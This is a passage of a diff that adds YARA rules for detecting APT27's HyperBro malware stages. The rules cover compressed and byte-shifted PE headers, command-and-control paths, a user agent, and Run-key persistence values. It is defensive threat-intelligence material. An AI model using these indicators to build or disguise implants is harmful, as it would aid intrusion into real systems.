+      $lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 } 
+      $lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 }
+      $lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 }
+      $lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 }
+      $lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 }
+      $lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 }
+
+   condition:
+      filesize < 200KB and
+      ($lznt1_compressed_pe_header_small at 0x9ce) or (all of ($lznt1_compressed_pe_header_large_*))
+}
+
+rule HvS_APT27_HyperBro_Stage3 {
+   meta:
+      description = "HyperBro Stage 3 detection - also tested in memory"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Markus Poelloth"
+      reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+      date = "2022-02-07"
+      modified = "2023-01-07"
+      hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+      id = "b4002777-f129-5177-a8f1-690012a207fa"
+   strings:
+      $s1 = "\\cmd.exe /A" wide
+      $s2 = "vftrace.dll" fullword wide
+      $s3 = "msmpeng.exe" fullword wide
+      $s4 = "\\\\.\\pipe\\testpipe" fullword wide
+      $s5 = "thumb.dat" fullword wide
+
+      $g1 = "%s\\%d.exe" fullword wide
+      $g2 = "https://%s:%d/api/v2/ajax" fullword wide
+      $g3 = " -k networkservice" fullword wide
+      $g4 = " -k localservice" fullword wide
+      
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and
+      (( 4 of ($s*) ) or (4 of ($g*)))
+}
+
+rule HvS_APT27_HyperBro_Stage3_C2 {
+   meta:
+      description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      author = "Marc Stroebel"
+      reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+      date = "2022-02-07"
+      hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+      id = "d1fe03b9-440c-5127-9572-dddcd5c9966b"
+   strings:
+      $s1 = "api/v2/ajax" ascii wide nocase
+      $s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" ascii wide nocase
+   condition:
+      all of them
+}
+
+
+rule HvS_APT27_HyperBro_Stage3_Persistence {
+   meta:
+      description = "HyperBro Stage 3 registry keys for persistence"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      author = "Marko Dorfhuber"
+      reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+      date = "2022-02-07"
+      hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8"
+      id = "2bb1d28b-5fc4-5f0b-b546-c8b8192b0d48"
+   strings:
+      $ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii
+      $ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii
+   condition:
+      1 of them
+}
+
+
+rule HvS_APT27_HyperBro_Encrypted_Stage2 {
+   meta:
+      description = "HyperBro Encrypted Stage 2 detection. Looks for all possible one byte shifts of the lznt1 compressed PE header"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      author = "Moritz Oettle"
+      reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+      date = "2022-02-07"
+      hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
+      id = "fa4fe057-4c3f-5785-a8d3-588398360996"
+   strings:
+      $encrypted_pe_header_shift_0 = { fc b9 00 4d 5a 90 00 03 00 00 00 82 04 00 30 ff ff 00 }
+      $encrypted_pe_header_shift_1 = { fd ba 01 4e 5b 91 01 04 01 01 01 83 05 01 31 00 00 01 }
+      $encrypted_pe_header_shift_2 = { fe bb 02 4f 5c 92 02 05 02 02 02 84 06 02 32 01 01 02 }
+      $encrypted_pe_header_shift_3 = { ff bc 03 50 5d 93 03 06 03 03 03 85 07 03 33 02 02 03 }
+      $encrypted_pe_header_shift_4 = { 00 bd 04 51 5e 94 04 07 04 04 04 86 08 04 34 03 03 04 }
+      $encrypted_pe_header_shift_5 = { 01 be 05 52 5f 95 05 08 05 05 05 87 09 05 35 04 04 05 }
+      $encrypted_pe_header_shift_6 = { 02 bf 06 53 60 96 06 09 06 06 06 88 0a 06 36 05 05 06 }
+      $encrypted_pe_header_shift_7 = { 03 c0 07 54 61 97 07 0a 07 07 07 89 0b 07 37 06 06 07 }
+      $encrypted_pe_header_shift_8 = { 04 c1 08 55 62 98 08 0b 08 08 08 8a 0c 08 38 07 07 08 }
+      $encrypted_pe_header_shift_9 = { 05 c2 09 56 63 99 09 0c 09 09 09 8b 0d 09 39 08 08 09 }
+      $encrypted_pe_header_shift_10 = { 06 c3 0a 57 64 9a 0a 0d 0a 0a 0a 8c 0e 0a 3a 09 09 0a }
+      $encrypted_pe_header_shift_11 = { 07 c4 0b 58 65 9b 0b 0e 0b 0b 0b 8d 0f 0b 3b 0a 0a 0b }
+      $encrypted_pe_header_shift_12 = { 08 c5 0c 59 66 9c 0c 0f 0c 0c 0c 8e 10 0c 3c 0b 0b 0c }
+      $encrypted_pe_header_shift_13 = { 09 c6 0d 5a 67 9d 0d 10 0d 0d 0d 8f 11 0d 3d 0c 0c 0d }
+      $encrypted_pe_header_shift_14 = { 0a c7 0e 5b 68 9e 0e 11 0e 0e 0e 90 12 0e 3e 0d 0d 0e }
+      $encrypted_pe_header_shift_15 = { 0b c8 0f 5c 69 9f 0f 12 0f 0f 0f 91 13 0f 3f 0e 0e 0f }
+      $encrypted_pe_header_shift_16 = { 0c c9 10 5d 6a a0 10 13 10 10 10 92 14 10 40 0f 0f 10 }
+      $encrypted_pe_header_shift_17 = { 0d ca 11 5e 6b a1 11 14 11 11 11 93 15 11 41 10 10 11 }
+      $encrypted_pe_header_shift_18 = { 0e cb 12 5f 6c a2 12 15 12 12 12 94 16 12 42 11 11 12 }
+      $encrypted_pe_header_shift_19 = { 0f cc 13 60 6d a3 13 16 13 13 13 95 17 13 43 12 12 13 }
+      $encrypted_pe_header_shift_20 = { 10 cd 14 61 6e a4 14 17 14 14 14 96 18 14 44 13 13 14 }
+      $encrypted_pe_header_shift_21 = { 11 ce 15 62 6f a5 15 18 15 15 15 97 19 15 45 14 14 15 }
+      $encrypted_pe_header_shift_22 = { 12 cf 16 63 70 a6 16 19 16 16 16 98 1a 16 46 15 15 16 }
+      $encrypted_pe_header_shift_23 = { 13 d0 17 64 71 a7 17 1a 17 17 17 99 1b 17 47 16 16 17 }
+      $encrypted_pe_header_shift_24 = { 14 d1 18 65 72 a8 18 1b 18 18 18 9a 1c 18 48 17 17 18 }
+      $encrypted_pe_header_shift_25 = { 15 d2 19 66 73 a9 19 1c 19 19 19 9b 1d 19 49 18 18 19 }
+      $encrypted_pe_header_shift_26 = { 16 d3 1a 67 74 aa 1a 1d 1a 1a 1a 9c 1e 1a 4a 19 19 1a }
+      $encrypted_pe_header_shift_27 = { 17 d4 1b 68 75 ab 1b 1e 1b 1b 1b 9d 1f 1b 4b 1a 1a 1b }
+      $encrypted_pe_header_shift_28 = { 18 d5 1c 69 76 ac 1c 1f 1c 1c 1c 9e 20 1c 4c 1b 1b 1c }
+      $encrypted_pe_header_shift_29 = { 19 d6 1d 6a 77 ad 1d 20 1d 1d 1d 9f 21 1d 4d 1c 1c 1d }
+      $encrypted_pe_header_shift_30 = { 1a d7 1e 6b 78 ae 1e 21 1e 1e 1e a0 22 1e 4e 1d 1d 1e }
+      $encrypted_pe_header_shift_31 = { 1b d8 1f 6c 79 af 1f 22 1f 1f 1f a1 23 1f 4f 1e 1e 1f }
+      $encrypted_pe_header_shift_32 = { 1c d9 20 6d 7a b0 20 23 20 20 20 a2 24 20 50 1f 1f 20 }
+      $encrypted_pe_header_shift_33 = { 1d da 21 6e 7b b1 21 24 21 21 21 a3 25 21 51 20 20 21 }
+      $encrypted_pe_header_shift_34 = { 1e db 22 6f 7c b2 22 25 22 22 22 a4 26 22 52 21 21 22 }
+      $encrypted_pe_header_shift_35 = { 1f dc 23 70 7d b3 23 26 23 23 23 a5 27 23 53 22 22 23 }
+      $encrypted_pe_header_shift_36 = { 20 dd 24 71 7e b4 24 27 24 24 24 a6 28 24 54 23 23 24 }
+      $encrypted_pe_header_shift_37 = { 21 de 25 72 7f b5 25 28 25 25 25 a7 29 25 55 24 24 25 }
+      $encrypted_pe_header_shift_38 = { 22 df 26 73 80 b6 26 29 26 26 26 a8 2a 26 56 25 25 26 }
+      $encrypted_pe_header_shift_39 = { 23 e0 27 74 81 b7 27 2a 27 27 27 a9 2b 27 57 26 26 27 }
+      $encrypted_pe_header_shift_40 = { 24 e1 28 75 82 b8 28 2b 28 28 28 aa 2c 28 58 27 27 28 }
+      $encrypted_pe_header_shift_41 = { 25 e2 29 76 83 b9 29 2c 29 29 29 ab 2d 29 59 28 28 29 }
+      $encrypted_pe_header_shift_42 = { 26 e3 2a 77 84 ba 2a 2d 2a 2a 2a ac 2e 2a 5a 29 29 2a }
+      $encrypted_pe_header_shift_43 = { 27 e4 2b 78 85 bb 2b 2e 2b 2b 2b ad 2f 2b 5b 2a 2a 2b }
+      $encrypted_pe_header_shift_44 = { 28 e5 2c 79 86 bc 2c 2f 2c 2c 2c ae 30 2c 5c 2b 2b 2c }
+      $encrypted_pe_header_shift_45 = { 29 e6 2d 7a 87 bd 2d 30 2d 2d 2d af 31 2d 5d 2c 2c 2d }
+      $encrypted_pe_header_shift_46 = { 2a e7 2e 7b 88 be 2e 31 2e 2e 2e b0 32 2e 5e 2d 2d 2e }
+      $encrypted_pe_header_shift_47 = { 2b e8 2f 7c 89 bf 2f 32 2f 2f 2f b1 33 2f 5f 2e 2e 2f }
+      $encrypted_pe_header_shift_48 = { 2c e9 30 7d 8a c0 30 33 30 30 30 b2 34 30 60 2f 2f 30 }
+      $encrypted_pe_header_shift_49 = { 2d ea 31 7e 8b c1 31 34 31 31 31 b3 35 31 61 30 30 31 }
+      $encrypted_pe_header_shift_50 = { 2e eb 32 7f 8c c2 32 35 32 32 32 b4 36 32 62 31 31 32 }
+      $encrypted_pe_header_shift_51 = { 2f ec 33 80 8d c3 33 36 33 33 33 b5 37 33 63 32 32 33 }
+      $encrypted_pe_header_shift_52 = { 30 ed 34 81 8e c4 34 37 34 34 34 b6 38 34 64 33 33 34 }
+      $encrypted_pe_header_shift_53 = { 31 ee 35 82 8f c5 35 38 35 35 35 b7 39 35 65 34 34 35 }
+      $encrypted_pe_header_shift_54 = { 32 ef 36 83 90 c6 36 39 36 36 36 b8 3a 36 66 35 35 36 }
+      $encrypted_pe_header_shift_55 = { 33 f0 37 84 91 c7 37 3a 37 37 37 b9 3b 37 67 36 36 37 }
+      $encrypted_pe_header_shift_56 = { 34 f1 38 85 92 c8 38 3b 38 38 38 ba 3c 38 68 37 37 38 }
+      $encrypted_pe_header_shift_57 = { 35 f2 39 86 93 c9 39 3c 39 39 39 bb 3d 39 69 38 38 39 }
+      $encrypted_pe_header_shift_58 = { 36 f3 3a 87 94 ca 3a 3d 3a 3a 3a bc 3e 3a 6a 39 39 3a }
+      $encrypted_pe_header_shift_59 = { 37 f4 3b 88 95 cb 3b 3e 3b 3b 3b bd 3f 3b 6b 3a 3a 3b }
+      $encrypted_pe_header_shift_60 = { 38 f5 3c 89 96 cc 3c 3f 3c 3c 3c be 40 3c 6c 3b 3b 3c }
+      $encrypted_pe_header_shift_61 = { 39 f6 3d 8a 97 cd 3d 40 3d 3d 3d bf 41 3d 6d 3c 3c 3d }
+      $encrypted_pe_header_shift_62 = { 3a f7 3e 8b 98 ce 3e 41 3e 3e 3e c0 42 3e 6e 3d 3d 3e }
+      $encrypted_pe_header_shift_63 = { 3b f8 3f 8c 99 cf 3f 42 3f 3f 3f c1 43 3f 6f 3e 3e 3f }
+      $encrypted_pe_header_shift_64 = { 3c f9 40 8d 9a d0 40 43 40 40 40 c2 44 40 70 3f 3f 40 }
+      $encrypted_pe_header_shift_65 = { 3d fa 41 8e 9b d1 41 44 41 41 41 c3 45 41 71 40 40 41 }
+      $encrypted_pe_header_shift_66 = { 3e fb 42 8f 9c d2 42 45 42 42 42 c4 46 42 72 41 41 42 }
+      $encrypted_pe_header_shift_67 = { 3f fc 43 90 9d d3 43 46 43 43 43 c5 47 43 73 42 42 43 }
+      $encrypted_pe_header_shift_68 = { 40 fd 44 91 9e d4 44 47 44 44 44 c6 48 44 74 43 43 44 }
+      $encrypted_pe_header_shift_69 = { 41 fe 45 92 9f d5 45 48 45 45 45 c7 49 45 75 44 44 45 }
+      $encrypted_pe_header_shift_70 = { 42 ff 46 93 a0 d6 46 49 46 46 46 c8 4a 46 76 45 45 46 }
+      $encrypted_pe_header_shift_71 = { 43 00 47 94 a1 d7 47 4a 47 47 47 c9 4b 47 77 46 46 47 }
+      $encrypted_pe_header_shift_72 = { 44 01 48 95 a2 d8 48 4b 48 48 48 ca 4c 48 78 47 47 48 }
+      $encrypted_pe_header_shift_73 = { 45 02 49 96 a3 d9 49 4c 49 49 49 cb 4d 49 79 48 48 49 }
+      $encrypted_pe_header_shift_74 = { 46 03 4a 97 a4 da 4a 4d 4a 4a 4a cc 4e 4a 7a 49 49 4a }
+      $encrypted_pe_header_shift_75 = { 47 04 4b 98 a5 db 4b 4e 4b 4b 4b cd 4f 4b 7b 4a 4a 4b }
+      $encrypted_pe_header_shift_76 = { 48 05 4c 99 a6 dc 4c 4f 4c 4c 4c ce 50 4c 7c 4b 4b 4c }
+      $encrypted_pe_header_shift_77 = { 49 06 4d 9a a7 dd 4d 50 4d 4d 4d cf 51 4d 7d 4c 4c 4d }
+      $encrypted_pe_header_shift_78 = { 4a 07 4e 9b a8 de 4e 51 4e 4e 4e d0 52 4e 7e 4d 4d 4e }
+      $encrypted_pe_header_shift_79 = { 4b 08 4f 9c a9 df 4f 52 4f 4f 4f d1 53 4f 7f 4e 4e 4f }
+      $encrypted_pe_header_shift_80 = { 4c 09 50 9d aa e0 50 53 50 50 50 d2 54 50 80 4f 4f 50 }
+      $encrypted_pe_header_shift_81 = { 4d 0a 51 9e ab e1 51 54 51 51 51 d3 55 51 81 50 50 51 }
+      $encrypted_pe_header_shift_82 = { 4e 0b 52 9f ac e2 52 55 52 52 52 d4 56 52 82 51 51 52 }
+      $encrypted_pe_header_shift_83 = { 4f 0c 53 a0 ad e3 53 56 53 53 53 d5 57 53 83 52 52 53 }
+      $encrypted_pe_header_shift_84 = { 50 0d 54 a1 ae e4 54 57 54 54 54 d6 58 54 84 53 53 54 }
+      $encrypted_pe_header_shift_85 = { 51 0e 55 a2 af e5 55 58 55 55 55 d7 59 55 85 54 54 55 }
+      $encrypted_pe_header_shift_86 = { 52 0f 56 a3 b0 e6 56 59 56 56 56 d8 5a 56 86 55 55 56 }
+      $encrypted_pe_header_shift_87 = { 53 10 57 a4 b1 e7 57 5a 57 57 57 d9 5b 57 87 56 56 57 }
+      $encrypted_pe_header_shift_88 = { 54 11 58 a5 b2 e8 58 5b 58 58 58 da 5c 58 88 57 57 58 }
+      $encrypted_pe_header_shift_89 = { 55 12 59 a6 b3 e9 59 5c 59 59 59 db 5d 59 89 58 58 59 }
+      $encrypted_pe_header_shift_90 = { 56 13 5a a7 b4 ea 5a 5d 5a 5a 5a dc 5e 5a 8a 59 59 5a }
+      $encrypted_pe_header_shift_91 = { 57 14 5b a8 b5 eb 5b 5e 5b 5b 5b dd 5f 5b 8b 5a 5a 5b }
+      $encrypted_pe_header_shift_92 = { 58 15 5c a9 b6 ec 5c 5f 5c 5c 5c de 60 5c 8c 5b 5b 5c }
+      $encrypted_pe_header_shift_93 = { 59 16 5d aa b7 ed 5d 60 5d 5d 5d df 61 5d 8d 5c 5c 5d }
+      $encrypted_pe_header_shift_94 = { 5a 17 5e ab b8 ee 5e 61 5e 5e 5e e0 62 5e 8e 5d 5d 5e }
+      $encrypted_pe_header_shift_95 = { 5b 18 5f ac b9 ef 5f 62 5f 5f 5f e1 63 5f 8f 5e 5e 5f }
+      $encrypted_pe_header_shift_96 = { 5c 19 60 ad ba f0 60 63 60 60 60 e2 64 60 90 5f 5f 60 }
+      $encrypted_pe_header_shift_97 = { 5d 1a 61 ae bb f1 61 64 61 61 61 e3 65 61 91 60 60 61 }
+      $encrypted_pe_header_shift_98 = { 5e 1b 62 af bc f2 62 65 62 62 62 e4 66 62 92 61 61 62 }
+      $encrypted_pe_header_shift_99 = { 5f 1c 63 b0 bd f3 63 66 63 63 63 e5 67 63 93 62 62 63 }
+      $encrypted_pe_header_shift_100 = { 60 1d 64 b1 be f4 64 67 64 64 64 e6 68 64 94 63 63 64 }
+      $encrypted_pe_header_shift_101 = { 61 1e 65 b2 bf f5 65 68 65 65 65 e7 69 65 95 64 64 65 }
+      $encrypted_pe_header_shift_102 = { 62 1f 66 b3 c0 f6 66 69 66 66 66 e8 6a 66 96 65 65 66 }
+      $encrypted_pe_header_shift_103 = { 63 20 67 b4 c1 f7 67 6a 67 67 67 e9 6b 67 97 66 66 67 }
+      $encrypted_pe_header_shift_104 = { 64 21 68 b5 c2 f8 68 6b 68 68 68 ea 6c 68 98 67 67 68 }
+      $encrypted_pe_header_shift_105 = { 65 22 69 b6 c3 f9 69 6c 69 69 69 eb 6d 69 99 68 68 69 }
+      $encrypted_pe_header_shift_106 = { 66 23 6a b7 c4 fa 6a 6d 6a 6a 6a ec 6e 6a 9a 69 69 6a }
+      $encrypted_pe_header_shift_107 = { 67 24 6b b8 c5 fb 6b 6e 6b 6b 6b ed 6f 6b 9b 6a 6a 6b }
+      $encrypted_pe_header_shift_108 = { 68 25 6c b9 c6 fc 6c 6f 6c 6c 6c ee 70 6c 9c 6b 6b 6c }
+      $encrypted_pe_header_shift_109 = { 69 26 6d ba c7 fd 6d 70 6d 6d 6d ef 71 6d 9d 6c 6c 6d }
+      $encrypted_pe_header_shift_110 = { 6a 27 6e bb c8 fe 6e 71 6e 6e 6e f0 72 6e 9e 6d 6d 6e }
+      $encrypted_pe_header_shift_111 = { 6b 28 6f bc c9 ff 6f 72 6f 6f 6f f1 73 6f 9f 6e 6e 6f }
+      $encrypted_pe_header_shift_112 = { 6c 29 70 bd ca 00 70 73 70 70 70 f2 74 70 a0 6f 6f 70 }
+      $encrypted_pe_header_shift_113 = { 6d 2a 71 be cb 01 71 74 71 71 71 f3 75 71 a1 70 70 71 }
+      $encrypted_pe_header_shift_114 = { 6e 2b 72 bf cc 02 72 75 72 72 72 f4 76 72 a2 71 71 72 }
+      $encrypted_pe_header_shift_115 = { 6f 2c 73 c0 cd 03 73 76 73 73 73 f5 77 73 a3 72 72 73 }
+      $encrypted_pe_header_shift_116 = { 70 2d 74 c1 ce 04 74 77 74 74 74 f6 78 74 a4 73 73 74 }
+      $encrypted_pe_header_shift_117 = { 71 2e 75 c2 cf 05 75 78 75 75 75 f7 79 75 a5 74 74 75 }
+      $encrypted_pe_header_shift_118 = { 72 2f 76 c3 d0 06 76 79 76 76 76 f8 7a 76 a6 75 75 76 }
+      $encrypted_pe_header_shift_119 = { 73 30 77 c4 d1 07 77 7a 77 77 77 f9 7b 77 a7 76 76 77 }
+      $encrypted_pe_header_shift_120 = { 74 31 78 c5 d2 08 78 7b 78 78 78 fa 7c 78 a8 77 77 78 }
+      $encrypted_pe_header_shift_121 = { 75 32 79 c6 d3 09 79 7c 79 79 79 fb 7d 79 a9 78 78 79 }
+      $encrypted_pe_header_shift_122 = { 76 33 7a c7 d4 0a 7a 7d 7a 7a 7a fc 7e 7a aa 79 79 7a }
+      $encrypted_pe_header_shift_123 = { 77 34 7b c8 d5 0b 7b 7e 7b 7b 7b fd 7f 7b ab 7a 7a 7b }
+      $encrypted_pe_header_shift_124 = { 78 35 7c c9 d6 0c 7c 7f 7c 7c 7c fe 80 7c ac 7b 7b 7c }
+      $encrypted_pe_header_shift_125 = { 79 36 7d ca d7 0d 7d 80 7d 7d 7d ff 81 7d ad 7c 7c 7d }
+      $encrypted_pe_header_shift_126 = { 7a 37 7e cb d8 0e 7e 81 7e 7e 7e 00 82 7e ae 7d 7d 7e }
+      $encrypted_pe_header_shift_127 = { 7b 38 7f cc d9 0f 7f 82 7f 7f 7f 01 83 7f af 7e 7e 7f }
+      $encrypted_pe_header_shift_128 = { 7c 39 80 cd da 10 80 83 80 80 80 02 84 80 b0 7f 7f 80 }
+      $encrypted_pe_header_shift_129 = { 7d 3a 81 ce db 11 81 84 81 81 81 03 85 81 b1 80 80 81 }
+      $encrypted_pe_header_shift_130 = { 7e 3b 82 cf dc 12 82 85 82 82 82 04 86 82 b2 81 81 82 }
+      $encrypted_pe_header_shift_131 = { 7f 3c 83 d0 dd 13 83 86 83 83 83 05 87 83 b3 82 82 83 }
+      $encrypted_pe_header_shift_132 = { 80 3d 84 d1 de 14 84 87 84 84 84 06 88 84 b4 83 83 84 }
+      $encrypted_pe_header_shift_133 = { 81 3e 85 d2 df 15 85 88 85 85 85 07 89 85 b5 84 84 85 }
+      $encrypted_pe_header_shift_134 = { 82 3f 86 d3 e0 16 86 89 86 86 86 08 8a 86 b6 85 85 86 }
+      $encrypted_pe_header_shift_135 = { 83 40 87 d4 e1 17 87 8a 87 87 87 09 8b 87 b7 86 86 87 }
+      $encrypted_pe_header_shift_136 = { 84 41 88 d5 e2 18 88 8b 88 88 88 0a 8c 88 b8 87 87 88 }
+      $encrypted_pe_header_shift_137 = { 85 42 89 d6 e3 19 89 8c 89 89 89 0b 8d 89 b9 88 88 89 }
+      $encrypted_pe_header_shift_138 = { 86 43 8a d7 e4 1a 8a 8d 8a 8a 8a 0c 8e 8a ba 89 89 8a }
+      $encrypted_pe_header_shift_139 = { 87 44 8b d8 e5 1b 8b 8e 8b 8b 8b 0d 8f 8b bb 8a 8a 8b }
+      $encrypted_pe_header_shift_140 = { 88 45 8c d9 e6 1c 8c 8f 8c 8c 8c 0e 90 8c bc 8b 8b 8c }
+      $encrypted_pe_header_shift_141 = { 89 46 8d da e7 1d 8d 90 8d 8d 8d 0f 91 8d bd 8c 8c 8d }
+      $encrypted_pe_header_shift_142 = { 8a 47 8e db e8 1e 8e 91 8e 8e 8e 10 92 8e be 8d 8d 8e }
+      $encrypted_pe_header_shift_143 = { 8b 48 8f dc e9 1f 8f 92 8f 8f 8f 11 93 8f bf 8e 8e 8f }
+      $encrypted_pe_header_shift_144 = { 8c 49 90 dd ea 20 90 93 90 90 90 12 94 90 c0 8f 8f 90 }
+      $encrypted_pe_header_shift_145 = { 8d 4a 91 de eb 21 91 94 91 91 91 13 95 91 c1 90 90 91 }
+      $encrypted_pe_header_shift_146 = { 8e 4b 92 df ec 22 92 95 92 92 92 14 96 92 c2 91 91 92 }
+      $encrypted_pe_header_shift_147 = { 8f 4c 93 e0 ed 23 93 96 93 93 93 15 97 93 c3 92 92 93 }
+      $encrypted_pe_header_shift_148 = { 90 4d 94 e1 ee 24 94 97 94 94 94 16 98 94 c4 93 93 94 }
+      $encrypted_pe_header_shift_149 = { 91 4e 95 e2 ef 25 95 98 95 95 95 17 99 95 c5 94 94 95 }
+      $encrypted_pe_header_shift_150 = { 92 4f 96 e3 f0 26 96 99 96 96 96 18 9a 96 c6 95 95 96 }
+      $encrypted_pe_header_shift_151 = { 93 50 97 e4 f1 27 97 9a 97 97 97 19 9b 97 c7 96 96 97 }
+      $encrypted_pe_header_shift_152 = { 94 51 98 e5 f2 28 98 9b 98 98 98 1a 9c 98 c8 97 97 98 }
+      $encrypted_pe_header_shift_153 = { 95 52 99 e6 f3 29 99 9c 99 99 99 1b 9d 99 c9 98 98 99 }
+      $encrypted_pe_header_shift_154 = { 96 53 9a e7 f4 2a 9a 9d 9a 9a 9a 1c 9e 9a ca 99 99 9a }
+      $encrypted_pe_header_shift_155 = { 97 54 9b e8 f5 2b 9b 9e 9b 9b 9b 1d 9f 9b cb 9a 9a 9b }
+      $encrypted_pe_header_shift_156 = { 98 55 9c e9 f6 2c 9c 9f 9c 9c 9c 1e a0 9c cc 9b 9b 9c }
+      $encrypted_pe_header_shift_157 = { 99 56 9d ea f7 2d 9d a0 9d 9d 9d 1f a1 9d cd 9c 9c 9d }
+      $encrypted_pe_header_shift_158 = { 9a 57 9e eb f8 2e 9e a1 9e 9e 9e 20 a2 9e ce 9d 9d 9e }
+      $encrypted_pe_header_shift_159 = { 9b 58 9f ec f9 2f 9f a2 9f 9f 9f 21 a3 9f cf 9e 9e 9f }
+      $encrypted_pe_header_shift_160 = { 9c 59 a0 ed fa 30 a0 a3 a0 a0 a0 22 a4 a0 d0 9f 9f a0 }
+      $encrypted_pe_header_shift_161 = { 9d 5a a1 ee fb 31 a1 a4 a1 a1 a1 23 a5 a1 d1 a0 a0 a1 }
+      $encrypted_pe_header_shift_162 = { 9e 5b a2 ef fc 32 a2 a5 a2 a2 a2 24 a6 a2 d2 a1 a1 a2 }
+      $encrypted_pe_header_shift_163 = { 9f 5c a3 f0 fd 33 a3 a6 a3 a3 a3 25 a7 a3 d3 a2 a2 a3 }
+      $encrypted_pe_header_shift_164 = { a0 5d a4 f1 fe 34 a4 a7 a4 a4 a4 26 a8 a4 d4 a3 a3 a4 }
+      $encrypted_pe_header_shift_165 = { a1 5e a5 f2 ff 35 a5 a8 a5 a5 a5 27 a9 a5 d5 a4 a4 a5 }
+      $encrypted_pe_header_shift_166 = { a2 5f a6 f3 00 36 a6 a9 a6 a6 a6 28 aa a6 d6 a5 a5 a6 }
+      $encrypted_pe_header_shift_167 = { a3 60 a7 f4 01 37 a7 aa a7 a7 a7 29 ab a7 d7 a6 a6 a7 }
+      $encrypted_pe_header_shift_168 = { a4 61 a8 f5 02 38 a8 ab a8 a8 a8 2a ac a8 d8 a7 a7 a8 }
+      $encrypted_pe_header_shift_169 = { a5 62 a9 f6 03 39 a9 ac a9 a9 a9 2b ad a9 d9 a8 a8 a9 }
+      $encrypted_pe_header_shift_170 = { a6 63 aa f7 04 3a aa ad aa aa aa 2c ae aa da a9 a9 aa }
+      $encrypted_pe_header_shift_171 = { a7 64 ab f8 05 3b ab ae ab ab ab 2d af ab db aa aa ab }
+      $encrypted_pe_header_shift_172 = { a8 65 ac f9 06 3c ac af ac ac ac 2e b0 ac dc ab ab ac }
+      $encrypted_pe_header_shift_173 = { a9 66 ad fa 07 3d ad b0 ad ad ad 2f b1 ad dd ac ac ad }
+      $encrypted_pe_header_shift_174 = { aa 67 ae fb 08 3e ae b1 ae ae ae 30 b2 ae de ad ad ae }
+      $encrypted_pe_header_shift_175 = { ab 68 af fc 09 3f af b2 af af af 31 b3 af df ae ae af }
+      $encrypted_pe_header_shift_176 = { ac 69 b0 fd 0a 40 b0 b3 b0 b0 b0 32 b4 b0 e0 af af b0 }
+      $encrypted_pe_header_shift_177 = { ad 6a b1 fe 0b 41 b1 b4 b1 b1 b1 33 b5 b1 e1 b0 b0 b1 }
+      $encrypted_pe_header_shift_178 = { ae 6b b2 ff 0c 42 b2 b5 b2 b2 b2 34 b6 b2 e2 b1 b1 b2 }
+      $encrypted_pe_header_shift_179 = { af 6c b3 00 0d 43 b3 b6 b3 b3 b3 35 b7 b3 e3 b2 b2 b3 }
+      $encrypted_pe_header_shift_180 = { b0 6d b4 01 0e 44 b4 b7 b4 b4 b4 36 b8 b4 e4 b3 b3 b4 }
+      $encrypted_pe_header_shift_181 = { b1 6e b5 02 0f 45 b5 b8 b5 b5 b5 37 b9 b5 e5 b4 b4 b5 }
+      $encrypted_pe_header_shift_182 = { b2 6f b6 03 10 46 b6 b9 b6 b6 b6 38 ba b6 e6 b5 b5 b6 }
+      $encrypted_pe_header_shift_183 = { b3 70 b7 04 11 47 b7 ba b7 b7 b7 39 bb b7 e7 b6 b6 b7 }
+      $encrypted_pe_header_shift_184 = { b4 71 b8 05 12 48 b8 bb b8 b8 b8 3a bc b8 e8 b7 b7 b8 }
+      $encrypted_pe_header_shift_185 = { b5 72 b9 06 13 49 b9 bc b9 b9 b9 3b bd b9 e9 b8 b8 b9 }
+      $encrypted_pe_header_shift_186 = { b6 73 ba 07 14 4a ba bd ba ba ba 3c be ba ea b9 b9 ba }
+      $encrypted_pe_header_shift_187 = { b7 74 bb 08 15 4b bb be bb bb bb 3d bf bb eb ba ba bb }
+      $encrypted_pe_header_shift_188 = { b8 75 bc 09 16 4c bc bf bc bc bc 3e c0 bc ec bb bb bc }
+      $encrypted_pe_header_shift_189 = { b9 76 bd 0a 17 4d bd c0 bd bd bd 3f c1 bd ed bc bc bd }
+      $encrypted_pe_header_shift_190 = { ba 77 be 0b 18 4e be c1 be be be 40 c2 be ee bd bd be }
+      $encrypted_pe_header_shift_191 = { bb 78 bf 0c 19 4f bf c2 bf bf bf 41 c3 bf ef be be bf }
+      $encrypted_pe_header_shift_192 = { bc 79 c0 0d 1a 50 c0 c3 c0 c0 c0 42 c4 c0 f0 bf bf c0 }
+      $encrypted_pe_header_shift_193 = { bd 7a c1 0e 1b 51 c1 c4 c1 c1 c1 43 c5 c1 f1 c0 c0 c1 }
+      $encrypted_pe_header_shift_194 = { be 7b c2 0f 1c 52 c2 c5 c2 c2 c2 44 c6 c2 f2 c1 c1 c2 }
